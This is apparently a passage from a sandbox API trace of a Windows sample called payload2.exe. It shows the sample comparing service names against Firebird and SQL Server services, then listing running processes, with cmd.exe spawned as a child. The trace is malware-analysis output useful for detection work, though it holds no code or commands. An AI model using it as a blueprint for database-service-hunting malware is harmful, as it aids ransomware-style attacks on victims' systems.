	[0175.700] lstrlenW (lpString="LSM") returned 3
	[0175.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0175.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0175.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0175.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0175.700] lstrlenW (lpString="MpsSvc") returned 6
	[0175.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0175.700] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0175.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0175.700] lstrlenW (lpString="NcbService") returned 10
	[0175.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0175.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0175.700] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0175.700] lstrlenW (lpString="netprofm") returned 8
	[0175.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0175.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0175.700] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0175.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0175.701] lstrlenW (lpString="NgcSvc") returned 6
	[0175.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0175.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0175.701] lstrlenW (lpString="NlaSvc") returned 6
	[0175.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0175.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0175.701] lstrlenW (lpString="nsi") returned 3
	[0175.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0175.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0175.701] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0175.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0175.701] lstrlenW (lpString="PcaSvc") returned 6
	[0175.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0175.835] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0175.835] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0175.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0175.835] lstrlenW (lpString="PlugPlay") returned 8
	[0175.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0175.835] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0175.835] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0175.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0175.835] lstrlenW (lpString="Power") returned 5
	[0175.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0175.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0175.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0175.836] lstrlenW (lpString="ProfSvc") returned 7
	[0175.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0175.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0175.836] lstrlenW (lpString="RpcEptMapper") returned 12
	[0175.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0175.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0175.836] lstrlenW (lpString="RpcSs") returned 5
	[0175.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0175.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0175.836] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0175.836] lstrlenW (lpString="SamSs") returned 5
	[0175.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0175.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0175.836] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0175.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0175.836] lstrlenW (lpString="Schedule") returned 8
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0175.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0175.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0175.837] lstrlenW (lpString="SecurityHealthService") returned 21
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0175.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0175.837] lstrlenW (lpString="SENS") returned 4
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0175.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0175.837] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0175.837] lstrlenW (lpString="ShellHWDetection") returned 16
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0175.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0175.837] lstrlenW (lpString="Spooler") returned 7
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0175.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0175.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0175.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0175.837] lstrlenW (lpString="StateRepository") returned 15
	[0175.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0175.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0175.838] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0175.838] lstrlenW (lpString="SysMain") returned 7
	[0175.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0175.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0175.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0175.838] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0175.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0175.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0175.838] lstrlenW (lpString="Themes") returned 6
	[0175.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0175.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0175.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0175.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0175.838] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0175.838] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x594
	[0175.845] Process32FirstW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0175.845] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0175.846] lstrlenW (lpString="System") returned 6
	[0175.846] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0175.846] lstrlenW (lpString="smss.exe") returned 8
	[0175.846] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.847] lstrlenW (lpString="csrss.exe") returned 9
	[0175.847] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0175.847] lstrlenW (lpString="wininit.exe") returned 11
	[0175.847] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0175.848] lstrlenW (lpString="csrss.exe") returned 9
	[0175.848] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0175.848] lstrlenW (lpString="winlogon.exe") returned 12
	[0175.848] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0175.849] lstrlenW (lpString="services.exe") returned 12
	[0175.849] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0175.849] lstrlenW (lpString="lsass.exe") returned 9
	[0175.849] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.850] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.850] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0175.850] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0175.850] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.851] lstrlenW (lpString="svchost.exe") returned 11
	[0175.851] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.851] lstrlenW (lpString="svchost.exe") returned 11
	[0175.851] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0175.851] lstrlenW (lpString="dwm.exe") returned 7
	[0175.852] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.852] lstrlenW (lpString="svchost.exe") returned 11
	[0175.852] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.852] lstrlenW (lpString="svchost.exe") returned 11
	[0175.852] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.853] lstrlenW (lpString="svchost.exe") returned 11
	[0175.853] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.853] lstrlenW (lpString="svchost.exe") returned 11
	[0175.853] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.854] lstrlenW (lpString="svchost.exe") returned 11
	[0175.854] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.854] lstrlenW (lpString="svchost.exe") returned 11
	[0175.854] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.855] lstrlenW (lpString="svchost.exe") returned 11
	[0175.855] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.855] lstrlenW (lpString="svchost.exe") returned 11
	[0175.855] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.856] lstrlenW (lpString="svchost.exe") returned 11
	[0175.856] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.856] lstrlenW (lpString="svchost.exe") returned 11
	[0175.856] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0175.856] lstrlenW (lpString="spoolsv.exe") returned 11
	[0175.856] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.857] lstrlenW (lpString="svchost.exe") returned 11
	[0175.857] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0175.857] lstrlenW (lpString="audiodg.exe") returned 11
	[0175.857] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0175.859] lstrlenW (lpString="sihost.exe") returned 10
	[0175.859] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0175.859] lstrlenW (lpString="svchost.exe") returned 11
	[0175.859] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0175.860] lstrlenW (lpString="taskhostw.exe") returned 13
	[0175.860] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0175.860] lstrlenW (lpString="msoia.exe") returned 9
	[0175.860] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0175.860] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0175.860] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0175.861] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0175.861] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0175.861] lstrlenW (lpString="Memory Compression") returned 18
	[0175.861] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0175.862] lstrlenW (lpString="explorer.exe") returned 12
	[0175.862] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0175.862] lstrlenW (lpString="SearchUI.exe") returned 12
	[0175.862] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0175.863] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0175.863] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0175.863] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0175.863] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0175.864] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0175.864] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0175.864] lstrlenW (lpString="payload2.exe") returned 12
	[0175.864] Process32NextW (in: hSnapshot=0x594, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0175.864] lstrlenW (lpString="cmd.exe") returned 7
